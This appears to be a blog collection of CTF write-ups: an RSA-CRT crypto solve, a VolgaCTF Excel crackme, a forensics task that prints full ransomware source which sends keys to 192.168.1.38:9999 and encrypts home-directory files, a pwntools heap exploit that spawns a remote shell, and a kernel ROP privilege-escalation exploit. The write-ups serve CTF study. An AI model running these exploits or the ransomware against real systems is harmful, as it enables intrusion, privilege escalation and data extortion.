print(f"a5 = {a5}")
print(f"a6 = {a6}")

rrn_22 = 4919
rrn_23 = 132146363252892079238955852043754382244951307426448497798760465957265430114543661757753602857394
rrn_24 = 57005
rrn_25 = 775309903033854570882823603825659470664893675806480830434450057789819902048494192286724670375083
rrn_26 = 48879
rrn_27 = 118549588096765345719828273586922254620646262475213503758232906237813765902929584873401252181598

a = a1 + a3 * Fq(rrn_22) + a5 * Fq(rrn_22)^2
print(f"a = {a}")
b = a1 + a3 * Fq(rrn_24) + a5 * Fq(rrn_24)^2
print(f"b = {b}")
c = a1 + a3 * Fq(rrn_26) + a5 * Fq(rrn_26)^2
print(f"c = {c}")
'''
a1 = 559316565023500509472163049993035746991488808927332730492353543246322747488347594956218118830404
a2 = 1455816338850548710226747826263500417489966228905173140760493856591277816261361853858359905028757
a3 = 61893902729035082547018799981240740998667540081489595699162471822753113067844662646155561908655
a4 = 301313555011896194349617605836195674760724652611645297927675988618321527633812527039080942153758
a5 = 764625183014257783434933122874897790769847061090472271865906840925207049997560904718466470592181
a6 = 1724301671569624190613193288495336271846478444752336504588582046652263520640553017091593670065559
a = 871181771745415129676783034365082444498012594504484743519181302778728946421478110926096857920105
b = 921176108142183962611682249614034391224389411635109144346285880896767581601955961667920137908837
c = 794359266103212238415902312276062123896424792163905951086179313000078369166756222741109039129213
'''

baby_crt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from Crypto.Util.number import getPrime, long_to_bytes, getStrongPrime
from hashlib import sha1
from random import randint
from secret import flag, p, q
import libnum

def gen_t(d):
while True:
t = getPrime(16)
if t % 4 == 3 and libnum.gcd(d, t - 1) == 1:
break
return t

def sign(m, params):
d, p, q, n, t1, t2, e1, e2 = params
dp = d % ((p - 1) * (t1 - 1))
dq = d % ((q - 1) * (t2 - 1))
k = getPrime(16)
Sp = pow(m + k, dp, p * t1)
Sq = pow(m, dq, q * t2)
Cp = q * t2 * libnum.invmod(q * t2, p * t1)
Cq = p * t1 * libnum.invmod(p * t1, q * t2)
S = (Cp * Sp + Cq * Sq) % (n * t1 * t2)
c1 = (m - pow(S, e1, t1) + 1) % t1
c2 = (m - pow(S, e2, t2) + 1) % t2
return pow(S, c1 * c2, n)

e = 65537
assert p < q
assert flag == "flag{" + sha1(long_to_bytes(p)).hexdigest() + "}"

n = p*q
print(n)
d = libnum.invmod(e, (p - 1) * (q - 1))
t1 = gen_t(d)
et1 = libnum.invmod(d, t1 - 1)
t2 = gen_t(d)
et2 = libnum.invmod(d, t2 - 1)
params = (d, p, q, n, t1, t2, et1, et2)
m = randint(1, n-1)
print(m)
sig = sign(m, params)
print(sig)

先捋一下逻辑,输出了三个参数,n、m、sig,也就是output0中的三个数。

对于n,直接利用https://factordb.com/分解,可直接得到p、q(p<q)。

1
2
p = 149580444233086025790179573414856711556292635219028492250676309233306926698347672114881938858364663009604584293251087505211665595084567645013671843742930965283973691725982783226085450276850737892819830479107029360437303876681309102929919702367620122904659518881851295355796994990602745486313662851309278333637
q = 175947855464630318882274211369050447335314682338022384131546160543733195355501291230119719123032944939427500196558321955068490980548179604648557892933129317527213012520680627573834567002223872890806611275061140244033706361520509332755932759567357620312030849014630507761409535339555754829420991613721802012281

不利用网站,分析一下数学原理:

已知n、e、m、sig,sig由函数sign生成,m∈[1,n-1]是随机整数

已知n,对于d,可知

$$
e*d\equiv 1 \mod \phi(n)\ \phi(n)=(p-1)(q-1)
$$
t=t1、t2由函数gen_t(d)生成,对于gen_t(d),可知,t1、t2是16比特的素数(题目为二进制形式)

$$
t ≡ 3 \mod 4\ \gcd(d,t-1)
$$
对于et=et1、et2,有

$$
et*d \equiv 1 \mod (t-1)
$$
接下来用d, p, q, n, t1, t2, et1, et2对消息m进行签名,得到sig = sign(m, params)。

对于sign(m, params),可知,k也是16比特的素数

$$
\begin{aligned} dp &\equiv d \mod \phi(pt1)\ dq &\equiv d \mod \phi(qt2)\ Sp &\equiv (m+k)^{dp} \mod (pt1)\ Sq &\equiv m^{dq} \mod (qt2)\ Cp &\equiv qt2((qt2)^{-1}\mod (pt1))\ Cq &\equiv pt1((pt1)^{-1}\mod (qt2))\ S &\equiv CpSp+CqSq \mod (pqt1t2)\ c1 &\equiv m-S^{et1} +1 \mod t1\ c2 &\equiv m-S^{et2} +1 \mod t2\ sig &\equiv S^{c1c2} \mod n\ \end{aligned}
$$
对于Sp、Sq、Cp、Cq、S,考虑中国剩余定理:

$$
x ≡ \sum_{i=1}^{n}(a_i * M/m_i * [(M/m_i)^{-1}\pmod {m_i}]) \pmod M,\ M=\prod_{i=1}^n{m_i},\ \begin{cases} x ≡ a_1 \pmod {m_1} \ x ≡ a_2 \pmod {m_2} \ …\ x ≡ a_n \pmod {m_n} \end{cases}
$$
因此可得

$$
S \equiv Sp \mod(pt1)\ S \equiv Sq \mod(qt2)
$$
而模运算具备性质

$$
若a ≡ b \mod (m*n),\ 则a ≡ b \mod m,a ≡ b \mod n
$$
那么可得到

$$
\begin{aligned} S &\equiv (m+k)^{dp} \mod p\ S &\equiv (m+k)^{dp} \mod t1\ S &\equiv m^{dq} \mod q\ S &\equiv m^{dq} \mod t2\ dp &\equiv d \mod (p-1)\ dp &\equiv d \mod (t1-1)\ dq &\equiv d \mod (q-1)\ dq &\equiv d \mod (t2-1)\ et1 &\equiv d^{-1} \mod (t1-1)\ et2 &\equiv d^{-1} \mod (t2-1) \end{aligned}
$$
那么由

$$
\begin{aligned} S &\equiv (m+k)^{dp} \mod t1\ dp &\equiv d \mod (t1-1)\ et1 &\equiv d^{-1} \mod (t1-1)\ \end{aligned}

可得
$$

$$
\begin{aligned} S^{et1} \mod t1 &\equiv (m+k)^{dpet1} \mod t1 \ &\equiv (m+k)^{dd^{-1} \mod (t1-1)} \mod t1 \ &\equiv m+k \mod t1 \ \end{aligned}
$$

同理,由

$$
\begin{aligned} S &\equiv m^{dp} \mod t2\ dq &\equiv d \mod (t2-1)\ et2 &\equiv d^{-1} \mod (t2-1) \end{aligned}
$$
可得

$$
\begin{aligned} S^{et2} \mod t1 &\equiv m^{dqet2} \mod t2 \ &\equiv m^{dd^{-1} \mod (t2-1)} \mod t2 \ &\equiv m \mod t2 \ \end{aligned}
$$
因此根据

$$
\begin{aligned} S^{et1} \mod t1 &\equiv m+k \mod t1 \ S^{et2} \mod t1 &\equiv m \mod t2 \ \end{aligned}
$$
可得

$$
\begin{aligned} c1 &\equiv m-S^{et1} +1 \mod t1\ &\equiv m-(m+k+at1)+1 \mod t1\ &\equiv 1-k \mod t1 \ &=1-k+at1\ c2 &\equiv m-S^{et2} +1 \mod t2\ &\equiv m-(m+b*t2)+1 \mod t2\ &\equiv 1 \mod t2\ \end{aligned}
$$
那么取c2=1,将S化简为Sq mod q(Sq未知量少),并根据上面的式子可推导

$$
\begin{aligned} sig &\equiv S^{c1c2} \mod n\ &\equiv S^{1-k+at1} \mod n \ &\equiv S_q^{1-k+at1} \mod q \ &\equiv S_q \mod q\ sig^e &\equiv S_q^e \mod q\ &\equiv m^{dqe} \mod q\ &\equiv m^{1 \mod q-1} \mod q\ &\equiv m^{1+c(q-1)} \mod q\ &\equiv m \mod q\ sig^e &\equiv S_q^{e*(1-k+at1)} \mod q\ &\equiv m^{1-k+at1} \mod q \end{aligned}
$$
也就是说,可以通过求最大公约数得到q

$$
m^{1-k+at1}-sig^e|q\ \Rightarrow \gcd((m^{1-k+at1}-sig^e),n)=q≠1
$$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import long_to_bytes
import gmpy2
from hashlib import sha1

n = 26318358382258215770827770763384603359524444566146134039272065206657135513496897321983920652242182112479484135343436206815722605756557098241887233837248519031879444740922789351356138322947108346833956405647578838873425658405513192437479359531790697924285889505666769580176431360506227506064132034621123828090480606055877425480739950809109048177976884825589023444901953529913585288143291544181183810227553891973915960951526154469344587083295640034876874318610991153058462811369615555470571469517472865469502025030548451296909857667669963720366290084062470583318590585472209798523021029182199921435625983186101089395997
m = 26275493320706026144196966398886196833815170413807705805287763413013100962831703774640332765503838087434904835657988276064660304427802961609185997964665440867416900711128517859267504657627160598700248689738045243142111489179673375819308779535247214660694211698799461044354352200950309392321861021920968200334344131893259850468214901266208090469265809729514249143938043521579678234754670097056281556861805568096657415974805578299196440362791907408888958917063668867208257370099324084840742435785960681801625180611324948953657666742195051492610613830629731633827861546693629268844700581558851830936504144170791124745540
sig = 20152941369122888414130075002845764046912727471716839854671280255845798928738103824595339885345405419943354215456598381228519131902698373225795339649300359363119754605698321052334731477127433796964107633109608706030111197156701607379086766944096066649323367976786383015106681896479446835419143225832320978530554399851074180762308322092339721839566642144908864530466017614731679525392259796511789624080228587080621454084957169193343724515867468178242402356741884890739873250658960438450287159439457730127074563991513030091456771906853781028159857466498315359846665211412644316716082898396009119848634426989676119219246
e = 65537

sig_e_1 = pow(sig,e,n)
for i in range(65536):
sig_e_2 = pow(m,i,n)
if gmpy2.gcd((sig_e_2-sig_e_1),n) !=1:
q = gmpy2.gcd((sig_e_2-sig_e_1)%n,n)
p = n // q
assert p * q == n
print(p)
flag = sha1(long_to_bytes(p)).hexdigest()
print("flag{"+flag+"}")
break

VolgaCTF 2020

image-20251122130258123

excellent-crackme-rev

尼玛,用LibreOffice Calc打开exevl,vbs的密码自动解除…. 以后不用找工具了
提取出vbscript,关键代码实际就在sub VolgaCTF中,手动解混淆后如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Private Sub VolgaCTF()
Dim flag As String
Dim num As Long
Dim tmp As Long
Dim value As Long
flag = Range("L15")
For i = 1 To Len(flag)
num = 0
For j = 1 To Len(flag)
tmp = CInt(Cells(99 + i, 99 + j).Value)
ch = Mid(flag, j, 1)
num = num + tmp * Asc(ch)
Next j
value = CLng(Cells(99 + i, 99 + Len(flag) + 1).Value)
If (value <> num) Then
MsgBox mWfDCE1CY0a("yrr9VuqqcETgYfVV") 'failed'
Exit Sub
End If
Next i
MsgBox mWfDCE1CY0a("mq19VeLpVFr42H1d") 'success'
End Sub

可见,flag是在execl中的数据计算产生的,数据在(100,100) cell后,如下图:

是一个多元一次线性方程组,用numpy求解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
import sys
import xlrd
import numpy as np

# VolgaCTF{7h3_M057_M47h_cr4ckM3_y0u_3V3R_533N}
def read_excel(f):
try:
data = xlrd.open_workbook(f)
table = data.sheets()[1]
except:
print('open excel error')
exit(-1)
a = []
b = []
for row in range(99,144):
a.append(table.row_values(row)[99:144])
b.append(table.row_values(row)[144])
return (a,b)

(x,y) = read_excel('./VolgaCTF_excel_crackme.xlsm')

x = np.array(x)
y = np.array(y)

r = np.linalg.solve(x,y)
r = list(r)
r = list(map(int,map(round,r)))
print(bytearray(r))

ScriptKiddie-forensics

下载Ubuntu.ova后, 通过Recovery mode登录修改Root密码后登录系统.
Then we extracted the relevant files from /home which had two users prod and test:
在test下查看.bash_history:

1
2
3
4
5
6
7
8
curl http://192.168.1.38/clev.py > .s.py
curl http://192.168.1.38:8080/clev.py > .s.py
curl http://192.168.1.38:8888/clev.py > .s.py
curl http://192.168.1.38:1111/clev.py > .s.py
file .s.py
python3.7 .s.py
rm .s.py
...

发现作者下载了clev.py用来加密文件,secrets.txt.enc中很可能是加密后的flag

在prod用户下恰好记录了流量EvaDump.pcap(根据题目提示也可以得到该信息)

在Wireshark中设置Filter http and ip.dst==192.168.1.38找到curl流量中的clev.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/env python3
F = len
W = bytes
L = open
B = True
R = False
o = range
l = exit
import sys
z = sys.platform
import os
J = os.walk
T = os.remove
S = os.environ
import platform
h = platform.system
E = platform.machine
e = platform.platform
X = platform.node
import hashlib
a = hashlib.sha256
import string
C = string.ascii_letters
O = 0
N = 1
G = 2
g = ('192.168.1.38', 9999)


def x(u):
y = 16 - (F(u) % 16)
u += W([y]) * y
return u


def w(u):
u = u[:-u[-1]]
return u


U = ['.doc', '.txt', '.rc', '.ini', '.dat', '.conf', '_history']


class V():
def __init__(Q):
f = X() + '//' + e()
d = S['HOME']
P = d.split('/')[-1]
v = E()
D = h()
if not d:
import getpass
P = getpass.getuser()
d = '/home/' + P
b = ':'.join(x for x in[f, v, D, P, d])
Q.id = a(b.encode('utf8')).hexdigest()
Q.system = D
Q.machine = v
Q.user = P
Q.home = d
if "linux" in z:
Q.platform = O
elif "darwin" in z:
Q.platform = N
elif "win32" in z:
Q.platform = G
try:
f = L('/tmp/.X11.' + Q.id, 'r')
Q.inf = B
except FileNotFoundError:
f = L('/tmp/.X11.' + Q.id, 'w')
Q.inf = R
f.write(Q.id)
f.close()

def r(Q, c, fl):
import os
J = os.walk
T = os.remove
S = os.environ
try:
f = L(fl, 'rb')
d = f.read()
f.close()
d = x(d)
q = c.encrypt(d)
f = L(fl + '.enc', 'wb')
f.write(q)
f.close()
T(fl)
except:
pass

def t(Q):
import socket
import random
import base64
M = []
for x in o(16):
p = ''.join(random.choices(C, k=16))
M.append(p)
u = ','.join(k for k in M)
u = W(u, "utf-8")
u = base64.b64encode(u)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(g)
s.sendall(W(Q.id, "utf-8"))
s.recv(1)
s.sendall(u)
from Crypto.Cipher import AES
c = AES.new(p, AES.MODE_ECB)
for(dirpath, dirnames, filenames)in J(Q.home):
if '.ssh' not in dirnames:
for fn in filenames:
for e in U:
if fn.endswith(e):
Q.r(c, dirpath + '/' + fn)
break
f = L(Q.home + '/message', 'wb')
f.write(W('All your files was encrypted\n. Contact Ywe23z3565yrgbv@protonmail.com for information(mention IP address on theme)\n', 'utf-8'))
f.close()

k = V()
if k.platform != O:
l(-1)
if k.inf:
l(0)
k.t()

使用AES 256bit的CBC_MODE加密,密钥组Base64发送给了192.168.1.38, 9999
再次在Wireshark中添加Filter: tcp.port ==9999 and tcp and ip.dst == 192.168.1.38
找到密钥组Base64:

1
bVRHZWxqaERSS0FTS0toUSxGTHJzU0V2ZVFRaWxvUFJuLFhlZFhIWUJVSHBJWERCSlAsSU9HUEVyam9zeE5pUXJOTSxSenZwYkVVUkxkRmZhR0ZNLHZkQlZEQ3ZpeGpTaENRdnksRVFsY3NuVXR6Q0h5RlBITSxKa0RpamdBRmlWQldKYUx6LGdoY1BJT1NxQ2RDVHFPcEQsRG5lQ3dia0RIa29qcHBIbSxsVlJaUmVBbGFJekhnaXNjLE5kamNnVlZqaWlueGZ0Q0MsUmtnTHBSQ3FybmlicnFzTixremV3dGVBZ1BFWmRrelFKLEhucEdvVWVxY2tFcXhwUW0sTFNOV1JhclRoUmRpUExwTQ==

AES解密脚本得到flag,注意Python3的bytes和string有大坑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
import sys
import base64
import codecs
from binascii import b2a_hex,a2b_hex
from Crypto.Cipher import AES
# flag{26c08ad080830d6dcd76c15009ab6b03}

def aes_encrypt_ecb(m,key):
cipher = AES.new(key,AES.MODE_ECB)
c = cipher.decrypt(m)
return c

k = "bVRHZWxqaERSS0FTS0toUSxGTHJzU0V2ZVFRaWxvUFJuLFhlZFhIWUJVSHBJWERCSlAsSU9HUEVyam9zeE5pUXJOTSxSenZwYkVVUkxkRmZhR0ZNLHZkQlZEQ3ZpeGpTaENRdnksRVFsY3NuVXR6Q0h5RlBITSxKa0RpamdBRmlWQldKYUx6LGdoY1BJT1NxQ2RDVHFPcEQsRG5lQ3dia0RIa29qcHBIbSxsVlJaUmVBbGFJekhnaXNjLE5kamNnVlZqaWlueGZ0Q0MsUmtnTHBSQ3FybmlicnFzTixremV3dGVBZ1BFWmRrelFKLEhucEdvVWVxY2tFcXhwUW0sTFNOV1JhclRoUmRpUExwTQ=="
k = base64.b64decode(k).decode()
k = k.replace(',','')
key = k[-16:].encode()

d = open('./secrets.txt.enc','rb').read()

res = aes_encrypt_ecb(d,key)
print(res.decode())

notepad-pwn

简单的Tcache,题目中有太多overflow的地方…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env python3
#-*- coding: utf-8 -*-

from pwn import *

# VolgaCTF{i5_g1ibc_mall0c_irr3p@rable?}
context.log_level = 'debug'

r = lambda x: p.recvuntil(x,drop=True)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y : p.sendlineafter(x,y)

HOST,PORT = 'notepad.q.2020.volgactf.ru', 45678
p = remote(HOST,PORT)
# p = process('./notepad')
e = ELF('./notepad')
l = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

def add_note(name):
sl('> ','a')
sl('',name)

def pick_note(idx):
sl('> ','p')
sl(': ',str(idx))

def dele_note(idx):
sl('> ','d')
sl(': ',str(idx))

def list_note():
sl('> ','l')

def add_tab(name,size,data):
sl('> ','a')
sl(': ',name)
sl(': ',str(size))
s(': ',data)

def view_tab(idx):
sl('> ','v')
sl(': ',str(idx))

def update_tab(idx,name,size,data):
sl('> ','u')
sl('update: ',str(idx))
sl(": ",name)
sl(": ",str(size))
s(": ",data)

def dele_tab(idx):
sl('> ','d')
sl(': ',str(idx))

def list_tab():
sl('> ','l')

def quit_tab():
sl('> ','q')

# leaking libc
add_note('a'*0x10)
pick_note(1)
add_tab('1'*0x8,0x418,'1'*0x408)
add_tab('2'*0x8,0x68,'2'*0x68)
add_tab('3'*0x8,0x88,'3'*0x68)
dele_tab(2)
dele_tab(1)
add_tab('4'*0x8,0x8,'\n')
view_tab(2)
l.address = u64(p.recv(8))-0x3ec00a
log.info('l.address:'+hex(l.address))
__free_hook = l.symbols['__free_hook']
log.info('__free_hook:'+hex(__free_hook))
system = l.symbols['system']
log.info('system:'+hex(system))
quit_tab()
# overflow
add_note('b'*0x10+'\x41')
add_note('c'*0x10)
add_note('d'*0x10)
pick_note(2)

# hijack __free_hook
add_tab(p64(0)+p64(0x8),__free_hook,"\n")
quit_tab()
pick_note(3)
update_tab(1,'1'*0x10,0x8,p64(system))
quit_tab()

# getshell
pick_note(4)
add_tab('1'*0x10,0x8,'/bin/sh\x00')
dele_tab(1)

p.interactive()

2020-新春抗疫

2020-新春抗疫-babyhacker

一道裸kernel rop题目,比赛时initramfs.cpio中存放着真flag造成非预期

赛后补题目

init

kernel的qemu启动脚本,题目的时间限制比较死

下面是/etc/init.d/rcS内核启动脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh

mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts

insmod /home/pwn/babyhacker.ko
chmod 644 /dev/babyhacker
echo 0 > /proc/sys/kernel/dmesg_restrict
echo 0 > /proc/sys/kernel/kptr_restrict

cd /home/pwn
chown -R root /flag
chmod 400 /flag

chown -R 1000:1000 .
setsid cttyhack setuidgid 1000 sh

umount /proc
poweroff -f

vulnerable

在babyhacker.ko中存在一个明显的integer overflow (symbol overflow)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall babyhacker_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 v3; // rbp
file *rdx1; // rdx
__int16 v5; // di
int v4[80]; // [rsp+0h] [rbp-150h]
unsigned __int64 v8; // [rsp+140h] [rbp-10h]
__int64 v9; // [rsp+148h] [rbp-8h]

_fentry__(file, cmd, arg);
v9 = v3;
v5 = (__int16)rdx1;
v8 = __readgsqword(0x28u);
switch ( cmd )
{
case 0x30001u:
babyhacker_ioctl_0(rdx1, 0x30001u, (unsigned __int64)rdx1);
break;
case 0x30002u:
copy_to_user(rdx1, v4, buffersize);
break;
case 0x30000u:
if ( (int)rdx1 >= 11 ) // integer overflow
v5 = 10;
buffersize = v5;
break;
}
return 0LL;
}

exploit

漏洞利用思路如下:

  1. 输入负数绕过ioctl(0x30000)判断,赋值给(uint16_t *)buffersize一个越界大小,例如0x180
  2. 通过ioctl(0x300002)打印内核栈空间,泄露kernelbase地址和canary
  3. 使用extract-vmlinux 从bzImage中提取vmlinux寻找gadget打rop
  4. 最后调用ioctl(0x300001)栈溢出做KernelROP

注:
内核开启了KASLR和SMEP,可以通过mov cr4,0x6f0bypass smep后ret2user,
执行commit_creds(prepare_kernel_cred(0))提权,最后iretq到user space起shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <error.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/stat.h>

int fd;
uint64_t user_cs,user_ss,user_flags,user_sp;
uint64_t prepare_kernel_cred;
uint64_t commit_creds;

void initfd(){
fd = open("/dev/babyhacker",0);
if(fd<0){
perror("open module failed!");
}
}

void setsize(int size){
ioctl(fd,0x30000,size);
}

void copyfrom(char *buf){
ioctl(fd,0x30001,buf);
}

void copyto(char *buf){
ioctl(fd,0x30002,buf);
}

void getroot() {
void *(*pkc)(int) = (void *(*)(int))PREPARE_KERNEL_CRED;
void (*cc)(void *) = (void (*)(void *))COMMIT_CREDS;
(*cc)((*pkc)(0));
}

void savestate() {
__asm__("mov %cs,user_cs;"
"mov %ss,user_ss;"
"mov %rsp,user_sp;"
"pushf;"
"pop user_flags;"
);
printf("user state saved!\n");
}

void getshell(){
system("/bin/sh\x00");
}

int main(){
char buf[0x200];
uint64_t kernel;
uint64_t canary;
memset(buf,0,0x200);

savestate();
initfd();
setsize(0xffff0200);
// leaking kernel and canary
copyto(buf);
uint64_t *d = (uint64_t *)buf;
kernel = d[17];
canary = d[10];
printf("kernel : 0x%lx\n",kernel);
printf("canary : 0x%lx\n",canary);
prepare_kernel_cred = kernel-0x1747c5;
printf("prepare_kernel_cred : 0x%lx\n",prepare_kernel_cred);
commit_creds = kernel-0x174bb5;
printf("commit_creds : 0x%lx\n",commit_creds);
// krop
memset(buf,0,0x200);
uint64_t *r = (uint64_t *)buf;
int i = 0x28;
r[i++] = canary;
r[i++] = 0;
r[i++] = kernel-0x185a98; // mov rdi;ret
r[i++] = 0x6f0;
r[i++] = kernel-0x211275; //mov cr4,rdi; pop rbp; ret
r[i++] = 0;
r[i++] = (uint64_t)getroot;
r[i++] = kernel-0x1b2931; //swapgs; pop rbp; ret
r[i++] = 0;
r[i++] = kernel+0x475293; //iretq
r[i++] = (uint64_t)getshell;
r[i++] = user_cs;
r[i++] = user_flags;
r[i++] = user_sp;
r[i++] = user_ss;

//hexdump(buf,0x200);
copyfrom((char *)r);
}

others

However,start_vm.sh脚本中服务器时间设置太短15s,导致没有足够时间上传exp…

PS.我也不知道Why?可能是网速太慢了叭…

通过WP发现可能是静态编译后的binary比较大?wow,有858k

1
2
~/C/2/x/babyhacker-pwn >> ls -lah exp
-rwxr-xr-x 1 tac tac 858K 3月 17 20:40 exp

剩下的问题就是如何缩小exp的大小
exp大主要因为将静态编译将libc全部编译到了binary中,于是可以脱离libc重写exp:

  • 编译使用gcc --nostdlib即可不使用glibc
  • 去除所有头文件,尽量不使用头文件相关constant,define,marco…
  • 将cpp用到的所有syscall库函数全部内联汇编简单实现一遍
  • printf此类复杂库函数不使用,使用原生库函数,例如read,write
  • main函数改成_start函数

最后经过很麻烦得调试,tinyexp.c出炉:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
/*
* @Date: 2020-03-17 23:49:54
* @Last Modified time: 2020-03-18 18:18:21
*/
//gcc -static -nostdlib babyhacker_tiny.c -o tinyexp
typedef unsigned long uint64_t;

int fd;
uint64_t user_cs,user_ss,user_flags,user_sp;
uint64_t prepare_kernel_cred;
uint64_t commit_creds;

int getuid() {
int ret;
__asm__ __volatile__
("mov $0x66,%%eax\n"
"syscall\n"
"mov %%eax,%0\n" //返回值在eax中即
:"=m"(ret):
);
return ret;
}

int read(int fd, char *buf,int len) {
int ret=0;
__asm__("mov %1,%%rdi;"
"mov %2,%%rsi;"
"mov %3,%%rdx;"
"mov $0,%%rax;"
"syscall;"
"mov %%rax,%0;"
:"=m"(ret)
:"m"(fd),"m"(buf),"m"(len)
);
return ret;
}

int read(int fd, char *buf,int len) {
int ret=0;
__asm__("mov %1,%%rdi;"
"mov %2,%%rsi;"
"mov %3,%%rdx;"
"mov $0,%%rax;"
"syscall;"
"mov %%rax,%0;"
:"=m"(ret)
:"m"(fd),"m"(buf),"m"(len)
);
return ret;
}

int open(const char *pathname, uint64_t flags,uint64_t mode) {
int ret=0;
__asm__ __volatile__
(
"mov %1,%%rdi\n" //传递第一个参数
"mov %2,%%rsi\n" //传递第二个参数
"mov %3,%%rdx\n" //传递第二个参数
"mov $2,%%rax\n" //__NR_open在64位系统调用号为2
"syscall\n" //相当于int 0x80但在64位上使用syscall指令
"mov %%eax,%0\n" //返回值在eax中即fd
:"=m"(ret)
:"m"(pathname),"m"(flags),"m"(mode)
);
return ret;
}

int system(char *cmd) {
int ret = 0;
__asm__("mov %1,%%rdi;"
"mov $0,%%rsi;"
"mov $0,%%rdx;"
"mov $59,%%rax;"
"syscall;"
"mov %%rax,%0;"
:"=m"(ret)
:"m"(cmd)
);
return ret;
}

int ioctl(uint64_t fd,uint64_t cmd,void *data) {
int ret = 0;
__asm__(
"mov %1,%%rdi\n" //传递第一个参数
"mov %2,%%rsi\n" //传递第二个参数
"mov %3,%%rdx\n" //传递第三个参数
"mov $16,%%rax\n" //ioctl在64位系统调用号为16
"syscall\n" //相当于int 0x80但在64位上使用syscall指令
"mov %%eax,%0\n" //返回值在eax中
:"=m"(ret): "m"(fd),"m"(cmd),"m"(data)
);
return ret;
}

void exit(){
__asm__("xor %rdi,%rdi;"
"mov $60,%rax;"
"syscall;"
);
}

void initfd(){
fd = open("/dev/babyhacker",0,644);
if(fd<=0){
exit();
}
}

int write(int fd,char *buf,int len) {
int ret=0;
__asm__ __volatile__
(
"mov %1,%%rdi\n" //传递第一个参数
"mov %2,%%rsi\n" //传递第二个参数
"mov %3,%%rdx\n" //传递第三个参数
"mov $1,%%eax\n" //write在64位系统调用号为1
"syscall\n" //相当于int 0x80但在64位上使用syscall指令
"mov %%eax,%0\n" //返回值在eax中即fd
:"=m"(ret): "m"(fd),"m"(buf),"m"(len)
);

return ret;
}

void setsize(int size){
ioctl(fd,0x30000,size);
}

void copyfrom(char *buf){
ioctl(fd,0x30001,buf);
}

void copyto(char *buf){
ioctl(fd,0x30002,buf);
}

void savestate() {
__asm__("mov %cs,user_cs;"
"mov %ss,user_ss;"
"mov %rsp,user_sp;"
"pushf;"
"pop user_flags;"
);
}

char buf0[0x50] = {0};
void getshell() {
if (getuid() == 0) {
// system('/bin/sh\x00');
int f = open("/flag",0,0);
read(f,buf0,0x50);
write(0,buf0,0x50);
} else {
}
}

void getroot() {
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
}

int _start(){
char buf[0x200] = "\0";
uint64_t kernel;
uint64_t canary;

savestate();
initfd();
setsize(0xffff0200);
copyto(buf);
uint64_t *d = (uint64_t *)buf;
kernel = d[17];
canary = d[10];
prepare_kernel_cred = kernel-0x1747c5;
commit_creds = kernel-0x174bb5;
uint64_t *r = (uint64_t *)buf;
int i = 0x28;
r[i++] = canary;
r[i++] = 0;
r[i++] = kernel-0x185a98; // mov rdi;ret
r[i++] = 0x6f0;
r[i++] = kernel-0x211275; //mov cr4,rdi; pop rbp; ret
r[i++] = 0;
r[i++] = (uint64_t)getroot;
r[i++] = kernel-0x1b2931; //swapgs; pop rbp; ret
r[i++] = 0;
r[i++] = kernel+0x475293; //iretq
r[i++] = (uint64_t)getshell;
r[i++] = user_cs;
r[i++] = user_flags;
